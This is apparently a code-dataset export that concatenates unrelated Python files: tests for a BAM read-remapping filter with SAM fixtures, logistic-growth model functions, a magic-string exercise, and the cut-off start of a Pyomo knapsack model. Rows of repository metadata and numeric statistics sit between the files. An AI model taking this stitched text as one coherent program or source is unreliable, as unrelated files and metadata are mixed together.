"readpair1.100-200.1.2 163 chr22 100 12 101M = 200 201 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"readpair2.150-250.1.2 163 chr22 150 12 101M = 250 201 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"readpair1.100-200.1.2 83 chr22 200 12 101M = 100 -201 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP",
"readpair2.150-250.1.2 163 chr22 250 12 101M = 150 -201 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"readpair1.100-200.2.2 163 chr22 100 12 101M = 200 201 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"readpair2.150-250.2.2 163 chr22 150 12 101M = 250 201 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"readpair1.100-200.2.2 83 chr22 200 12 101M = 100 -201 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP",
"readpair2.150-250.2.2 163 chr22 250 12 101M = 150 -201 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
# Read pair is secondary
"SRR1658224.34085433.16052611-16052734.1.1 419 chr22 16052611 12 101M = 16052734 224 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"SRR1658224.34085433.16052611-16052734.1.1 339 chr22 16052734 12 101M = 16052611 -224 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP",
# Read pair is supplementary
"SRR1658224.34085434.16052611-16052734.1.1 2211 chr22 16052611 12 101M = 16052734 224 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"SRR1658224.34085434.16052611-16052734.1.1 2131 chr22 16052734 12 101M = 16052611 -224 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP"
]
to_remap_sam_lines_single= [
"single1 162 chr22 250 12 101M * 0 0 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP"]
remap_sam_lines_single = [
"single1.250.1.1 162 chr22 250 12 101M * 0 0 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP"
]
#
# TODO: need to verify that interleaved read pairs handled appropriately
# TODO: need to test single end reads
#
#
def write_sam_header(f):
f.write("@HD VN:1.0 SO:coordinate\n")
f.write("@SQ SN:chr22 LN:51304566\n")
f.write('@PG ID:bowtie2 PN:bowtie2 VN:2.2.6 CL:"/iblm/netapp/home/gmcvicker/anaconda2/bin/bowtie2-align-s --wrapper basic-0 -x /iblm/netapp/data1/external/GRC37/combined/bowtie2_index/hg37 -1 /tmp/16686.inpipe1 -2 /tmp/16686.inpipe2\n')
def write_to_remap_bam(sam_lines, data_dir="test_data", bam_filename="test_data/test.to.remap.bam"):
if not os.path.exists(data_dir):
os.makedirs(data_dir)
# write temporary file in SAM format, before converting to BAM
sam_filename = data_dir + "/tmp.sam"
f = open(sam_filename, "w")
write_sam_header(f)
for line in sam_lines:
f.write(line + "\n")
f.close()
subprocess.check_call("samtools view -b %s > %s" % (sam_filename, bam_filename), shell=True)
def write_remap_bam(sam_lines, data_dir="test_data", bam_filename="test_data/test.remap.bam"):
if not os.path.exists(data_dir):
os.makedirs(data_dir)
# write temporary file in SAM format, before converting to BAM
sam_filename = data_dir + "/tmp.sam"
f = open(sam_filename, "wt")
write_sam_header(f)
for line in sam_lines:
f.write(line + "\n")
f.close()
# write to temp bam file
tmp_bam_filename = data_dir + "/tmp.bam"
subprocess.check_call("samtools view -b %s > %s" % (sam_filename, tmp_bam_filename), shell=True)
# sort the temp bam file
util.sort_bam(tmp_bam_filename, data_dir + "/tmp")
# remove temp bam
os.remove(tmp_bam_filename)
# rename sorted bam to output bam filename
os.rename(data_dir + "/tmp.sort.bam", bam_filename)
def read_bam(bam):
"""
Read a bam file into a list where each element of the list is a line from
the bam file (with the newline stripped). The header is discarded.
"""
lines = []
res = subprocess.check_output('samtools view %s' % bam, shell=True)
if res:
lines += res.decode("utf-8").strip().split('\n')
return lines
#
# Test single-end reads (Added 4/22/2021)
# TODO: current tests for single-end reads are very limited,
# and just check that remapped read is retained when it maps
# back to same position with same CIGAR. More should be added.
#
def test_filter_remapped_reads_single():
test_dir = "test_data"
to_remap_bam_filename = "test_data/test.to.remap.single.bam"
remap_bam_filename = "test_data/test.remap.single.bam"
keep_bam_filename = "test_data/keep.single.bam"
# write test input data
write_to_remap_bam(
sam_lines=to_remap_sam_lines_single,
data_dir=test_dir,
bam_filename=to_remap_bam_filename
)
write_remap_bam(
sam_lines=remap_sam_lines_single,
data_dir=test_dir,
bam_filename=remap_bam_filename
)
# run filter remapped reads
filter_remapped_reads.main(
to_remap_bam_filename,
remap_bam_filename,
keep_bam_filename
)
# read in filtered reads
lines = read_bam(keep_bam_filename)
# read lines from keep BAM file
read_dict = {}
for line in lines:
words = line.split()
read_name = words[0]
if read_name in read_dict:
read_dict[read_name].append(words)
else:
read_dict[read_name] = [words]
# verify that filtered reads look correct
read_name = "single1"
sys.stderr.write("%s\n" % repr(read_dict))
assert read_name in read_dict
reads = read_dict[read_name]
assert len(reads) == 1
#
# test paired-end reads
#
def test_filter_remapped_reads_pe():
test_dir = "test_data"
to_remap_bam_filename = "test_data/test.to.remap.bam"
remap_bam_filename = "test_data/test.remap.bam"
keep_bam_filename = "test_data/keep.bam"
# write test input data
write_to_remap_bam(
sam_lines=to_remap_sam_lines,
data_dir=test_dir,
bam_filename=to_remap_bam_filename
)
write_remap_bam(
sam_lines=remap_sam_lines,
data_dir=test_dir,
bam_filename=remap_bam_filename
)
# run filter remapped reads
filter_remapped_reads.main(
to_remap_bam_filename,
remap_bam_filename,
keep_bam_filename
)
# read in filtered reads
lines = read_bam(keep_bam_filename)
# read lines from keep BAM file
read_dict = {}
for line in lines:
words = line.split()
read_name = words[0]
if read_name in read_dict:
read_dict[read_name].append(words)
else:
read_dict[read_name] = [words]
# verify that filtered reads look correct
# we expect a read pair with this identifier:
read_name = "SRR1658224.34085432"
assert read_name in read_dict
reads = read_dict[read_name]
assert len(reads) == 2
pos1 = int(reads[0][3])
pos2 = int(reads[1][3])
assert pos1 == 16052611
assert pos2 == 16052734
# expect these read pairs to be filtered out (not present)
# only one version of read pair maps (expect 2)
assert "SRR1658224.34975561" not in read_dict
# 1/2 of second read pair missing
assert "SRR1658224.7462188" not in read_dict
# 1 pair maps to wrong location
assert "SRR1658224.31153145" not in read_dict
# neither pair maps
assert "SRR1658224.25014179" not in read_dict
# expect these (interleaved) read pairs to be kept
read_name = "readpair1"
assert read_name in read_dict
reads = read_dict[read_name]
assert len(reads) == 2
pos1 = int(reads[0][3])
pos2 = int(reads[1][3])
assert pos1 == 100
assert pos2 == 200
sys.stderr.write("\n\nread_dict: %s\n\\n" % repr(read_dict))
read_name = "readpair2"
assert read_name in read_dict
reads = read_dict[read_name]
assert len(reads) == 2
pos1 = int(reads[0][3])
pos2 = int(reads[1][3])
assert pos1 == 150
assert pos2 == 250
# secondary alignment
assert "SRR1658224.34085433" not in read_dict
# supplementary alignment
assert "SRR1658224.34085434" not in read_dict
# CIGAR TESTING
# If reads have different CIGARs after the 2nd mapping,
# they should be discarded
# define data
to_remap_CIGAR_sam_lines = [
"SRR1658224.34085432 163 chr22 16052611 12 101M = 16052734 224 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"SRR1658224.34085432 83 chr22 16052734 12 101M = 16052611 -224 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP"
]
remap_CIGAR_sam_lines = [
# Read pair expected to map 2 times and maps to correct location 2 times
"SRR1658224.34085432.16052611-16052734.1.2 163 chr22 16052611 12 101M = 16052734 224 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"SRR1658224.34085432.16052611-16052734.1.2 83 chr22 16052734 12 101M = 16052611 -224 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP",
"SRR1658224.34085432.16052611-16052734.2.2 163 chr22 16052611 12 101M = 16052734 224 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"SRR1658224.34085432.16052611-16052734.2.2 83 chr22 16052734 12 101M = 16052611 -224 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP"
]
def test_filter_different_CIGAR():
"""test whether reads that map to the same location but have different
CIGAR flags are still appropriately discarded"""
test_dir = "test_data"
to_remap_bam_filename = "test_data/test.to.remap.bam"
remap_bam_filename = "test_data/test.remap.bam"
keep_bam_filename = "test_data/keep.bam"
# write test input data
write_to_remap_bam(
sam_lines=to_remap_CIGAR_sam_lines,
data_dir=test_dir,
bam_filename=to_remap_bam_filename
)
write_remap_bam(
sam_lines=remap_CIGAR_sam_lines,
data_dir=test_dir,
bam_filename=remap_bam_filename
)
# run filter remapped reads
filter_remapped_reads.main(
to_remap_bam_filename,
remap_bam_filename,
keep_bam_filename
)
# read in filtered reads
lines = read_bam(keep_bam_filename)
# read lines from keep BAM file
read_dict = {}
for line in lines:
words = line.split()
read_name = words[0]
if read_name in read_dict:
read_dict[read_name].append(words)
else:
read_dict[read_name] = [words]
# verify that filtered reads look correct
# we expect a read pair with this identifier:
read_name = "SRR1658224.34085432"
assert read_name in read_dict
reads = read_dict[read_name]
assert len(reads) == 2
pos1 = int(reads[0][3])
pos2 = int(reads[1][3])
assert pos1 == 16052611
assert pos2 == 16052734
# we know now that these pairs do indeed map to the same location
# but what if the CIGAR changes after the second mapping?
# then the reads should be discarded
new_remap_CIGAR_sam_lines = [
read.replace("\t101M\t", "\t101M1D\t")
for read in remap_CIGAR_sam_lines
]
# write test input data
write_to_remap_bam(
sam_lines=to_remap_CIGAR_sam_lines,
data_dir=test_dir,
bam_filename=to_remap_bam_filename
)
write_remap_bam(
sam_lines=new_remap_CIGAR_sam_lines,
data_dir=test_dir,
bam_filename=remap_bam_filename
)
# run filter remapped reads
filter_remapped_reads.main(
to_remap_bam_filename,
remap_bam_filename,
keep_bam_filename
)
# read in filtered reads
lines = read_bam(keep_bam_filename)
# read lines from keep BAM file
read_dict = {}
for line in lines:
words = line.split()
read_name = words[0]
if read_name in read_dict:
read_dict[read_name].append(words)
else:
read_dict[read_name] = [words]
# verify that filtered reads look correct
# we expect a read pair with this identifier:
assert "SRR1658224.34085432" not in read_dict
# now what if the CIGAR changes in only one read but not its pair?
# then both reads should be discarded
new_remap_CIGAR_sam_lines = remap_CIGAR_sam_lines
new_remap_CIGAR_sam_lines[1] = new_remap_CIGAR_sam_lines[1].replace("\t101M\t", "\t101M1D\t")
# write test input data
write_to_remap_bam(
sam_lines=to_remap_CIGAR_sam_lines,
data_dir=test_dir,
bam_filename=to_remap_bam_filename
)
write_remap_bam(
sam_lines=new_remap_CIGAR_sam_lines,
data_dir=test_dir,
bam_filename=remap_bam_filename
)
# run filter remapped reads
filter_remapped_reads.main(
to_remap_bam_filename,
remap_bam_filename,
keep_bam_filename
)
# read in filtered reads
lines = read_bam(keep_bam_filename)
# read lines from keep BAM file
read_dict = {}
for line in lines:
words = line.split()
read_name = words[0]
if read_name in read_dict:
read_dict[read_name].append(words)
else:
read_dict[read_name] = [words]
# verify that filtered reads look correct
# we expect a read pair with this identifier:
assert "SRR1658224.34085432" not in read_dict
# now what if the CIGARs are different between pairs
# originally but become the same later?
# then both reads should be discarded
#
# We are no longer handling this weird case correctly...
# issue is that read1 and read2 are no longer consistently
# labeled (read1 sometimes becomes read2 and vice-versa,)
# making it harder to determine if CIGARs change.
#
# new_to_remap_CIGAR_sam_lines = to_remap_CIGAR_sam_lines
# new_to_remap_CIGAR_sam_lines[1] = new_to_remap_CIGAR_sam_lines[1].replace("\t101M\t", "\t101M1D\t")
# # change this back to what it was
# new_remap_CIGAR_sam_lines = remap_CIGAR_sam_lines
# write_to_remap_bam_pe(
# sam_lines=new_to_remap_CIGAR_sam_lines,
# data_dir=test_dir,
# bam_filename=to_remap_bam_filename
# )
# write_remap_bam_pe(
# sam_lines=new_remap_CIGAR_sam_lines,
# data_dir=test_dir,
# bam_filename=remap_bam_filename
# )
# sys.stderr.write("TO REMAP:\n%s\n\n" % "\n".join(new_to_remap_CIGAR_sam_lines))
# sys.stderr.write("REMAPPED:\n%s\n\n" % "\n".join(new_remap_CIGAR_sam_lines))
# # run filter remapped reads
# filter_remapped_reads.main(
# to_remap_bam_filename,
# remap_bam_filename,
# keep_bam_filename
# )
# # read in filtered reads
# lines = read_bam(keep_bam_filename)
# # read lines from keep BAM file
# read_dict = {}
# for line in lines:
# words = line.split()
# read_name = words[0]
# if read_name in read_dict:
# read_dict[read_name].append(words)
# else:
# read_dict[read_name] = [words]
# # verify that filtered reads look correct
# # we expect a read pair with this identifier to be absent:
# assert "SRR1658224.34085432" not in read_dict
# now what if the CIGARs are different between pairs
# originally and stay the same as they were after the second remapping
# in both alternative reads?
# then both of the pairs should be kept
new_to_remap_CIGAR_sam_lines = to_remap_CIGAR_sam_lines
new_to_remap_CIGAR_sam_lines[1] = new_to_remap_CIGAR_sam_lines[1].replace("\t101M\t", "\t101M1D\t")
# change this, as well
new_remap_CIGAR_sam_lines = remap_CIGAR_sam_lines
new_remap_CIGAR_sam_lines[1] = new_remap_CIGAR_sam_lines[1].replace("\t101M\t", "\t101M1D\t")
new_remap_CIGAR_sam_lines[3] = new_remap_CIGAR_sam_lines[3].replace("\t101M\t", "\t101M1D\t")
# write test input data
write_to_remap_bam(
sam_lines=new_to_remap_CIGAR_sam_lines,
data_dir=test_dir,
bam_filename=to_remap_bam_filename
)
write_remap_bam(
sam_lines=new_remap_CIGAR_sam_lines,
data_dir=test_dir,
bam_filename=remap_bam_filename
)
# run filter remapped reads
filter_remapped_reads.main(
to_remap_bam_filename,
remap_bam_filename,
keep_bam_filename
)
# read in filtered reads
lines = read_bam(keep_bam_filename)
# read lines from keep BAM file
read_dict = {}
for line in lines:
words = line.split()
read_name = words[0]
if read_name in read_dict:
read_dict[read_name].append(words)
else:
read_dict[read_name] = [words]
# verify that filtered reads look correct
# we expect a read pair with this identifier:
assert "SRR1658224.34085432" in read_dict
| 61.527372
| 376
| 0.763888
| 4,507
| 33,717
| 5.583759
| 0.082538
| 0.020742
| 0.008106
| 0.012159
| 0.865175
| 0.853493
| 0.8314
| 0.827982
| 0.824803
| 0.819558
| 0
| 0.120493
| 0.153513
| 33,717
| 547
| 377
| 61.639854
| 0.761256
| 0.169114
| 0
| 0.581761
| 0
| 0.163522
| 0.677077
| 0.420249
| 0
| 0
| 0
| 0.003656
| 0.084906
| 1
| 0.022013
| false
| 0
| 0.015723
| 0
| 0.040881
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
7011a7cde9af2b72a2bcd3a2d618c9ed950a1db5
| 1,544
|
py
|
Python
|
tests/exact_models/models.py
|
SABS-R3-projects/test-driven-development-practice
|
da48869c4758a8e325cc6b37090a1bc461304f1a
|
[
"BSD-3-Clause"
] | null | null | null |
tests/exact_models/models.py
|
SABS-R3-projects/test-driven-development-practice
|
da48869c4758a8e325cc6b37090a1bc461304f1a
|
[
"BSD-3-Clause"
] | null | null | null |
tests/exact_models/models.py
|
SABS-R3-projects/test-driven-development-practice
|
da48869c4758a8e325cc6b37090a1bc461304f1a
|
[
"BSD-3-Clause"
] | null | null | null |
import numpy as np
def logistic_growth_dimensionless(times, t_0=0.0, x_0=0.1, Lambda=1.0):
'''
Example to test numerical solution of ODEs. This version rescales N by C, i.e. x:= N/C.
args:
times: np.array of time points.
t_0: Initial time.
x_0: Initial population size.
Lambda: exponential growth factor.
return:
np.array of logistic function evaluated at times 'times + t_0'.
'''
times -= t_0 # applying time off-set
result = x_0 / (x_0 + (1 - x_0) * np.exp(-Lambda * times))
return result
def exponential_growth(times, t_0=0.0, x_0=0.1, Lambda=1.0):
'''
Example to test numerical solution of ODEs.
args:
times: np.array of time points.
t_0: Initial time.
x_0: Initial population size.
Lambda: exponential growth factor.
return:
np.array of logistic function evaluated at times 'times + t_0'.
'''
times -= t_0 # applying time off-set
result = x_0 * np.exp(Lambda * times)
return result
def logistic_growth(times, t_0=0.0, N_0=1.0, C=100.0, Lambda=1.0):
'''
Example to test numerical solution of ODEs.
args:
times: np.array of time points.
t_0: Initial time.
N_0: Initial population size.
C: Carrying capacity / maximal population size.
Lambda: exponential growth factor.
return:
np.array of logistic function evaluated at times 'times + t_0'.
'''
times -= t_0 # applying time off-set
result = C / (1 + (C / N_0 - 1) * np.exp(-Lambda * times))
return result
| 28.072727
| 91
| 0.637306
| 244
| 1,544
| 3.922131
| 0.209016
| 0.025078
| 0.065831
| 0.025078
| 0.835946
| 0.835946
| 0.784744
| 0.784744
| 0.784744
| 0.717868
| 0
| 0.041775
| 0.255829
| 1,544
| 55
| 92
| 28.072727
| 0.791123
| 0.579016
| 0
| 0.461538
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.230769
| false
| 0
| 0.076923
| 0
| 0.538462
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 8
|
7068879add6cb80be155a9b49f2873424465f630
| 164
|
py
|
Python
|
0x09-python-everything_is_object/100-magic_string.py
|
ricardo1470/holbertonschool-higher_level_programming
|
aab73c8efee665b0215958ee7b338871f13634bc
|
[
"CNRI-Python"
] | null | null | null |
0x09-python-everything_is_object/100-magic_string.py
|
ricardo1470/holbertonschool-higher_level_programming
|
aab73c8efee665b0215958ee7b338871f13634bc
|
[
"CNRI-Python"
] | null | null | null |
0x09-python-everything_is_object/100-magic_string.py
|
ricardo1470/holbertonschool-higher_level_programming
|
aab73c8efee665b0215958ee7b338871f13634bc
|
[
"CNRI-Python"
] | null | null | null |
#!/usr/bin/python3
def magic_string():
setattr(magic_string, "c", getattr(magic_string, "c", -1) + 1)
return ("Holberton" + ", Holberton" * magic_string.c)
| 32.8
| 66
| 0.652439
| 22
| 164
| 4.681818
| 0.545455
| 0.427184
| 0.349515
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.021583
| 0.152439
| 164
| 4
| 67
| 41
| 0.719424
| 0.103659
| 0
| 0
| 0
| 0
| 0.150685
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
567b5c2f276a26b1ed0f8cff6a238d49ea507ef8
| 10,630
|
py
|
Python
|
Core/Solvers/KDA/concrete_knapsackmodel.py
|
zztcok/SNAC_PSNAC
|
9119c325c2114ac7034362b5349ffc5b2ce895d6
|
[
"Apache-2.0"
] | 1
|
2020-12-22T23:04:59.000Z
|
2020-12-22T23:04:59.000Z
|
Core/Solvers/KDA/concrete_knapsackmodel.py
|
zztcok/SNAC_PSNAC
|
9119c325c2114ac7034362b5349ffc5b2ce895d6
|
[
"Apache-2.0"
] | null | null | null |
Core/Solvers/KDA/concrete_knapsackmodel.py
|
zztcok/SNAC_PSNAC
|
9119c325c2114ac7034362b5349ffc5b2ce895d6
|
[
"Apache-2.0"
] | 1
|
2020-12-21T21:46:04.000Z
|
2020-12-21T21:46:04.000Z
|
#
# This is the knapsack general problem
#
import sys
import os
from os.path import abspath, dirname
sys.path.insert(0, dirname(dirname(dirname(dirname(abspath(__file__))))))
from pyomo.environ import *
from pyomo.opt import SolverFactory
#Information for the problem
def create_knapsackmodel(items,resources,v,w,w_max,ex,mu,ts):
#Model Formulation
model = ConcreteModel()
model.items = items
model.resources = resources
model.v = v
model.w = w
model.w_max = w_max
model.x = Var(model.items, within=Binary)
model.ex = ex
model.mu = mu
model.ts = ts
def existance_rule(model,i):
if model.ex[i] == 0:
return model.x[i] == 0
else:
return Constraint.Skip
model.existance = Constraint(model.items, rule=existance_rule)
def value_rule(model):
return sum(model.v[i] * model.x[i] * model.ex[i] for i in model.items)
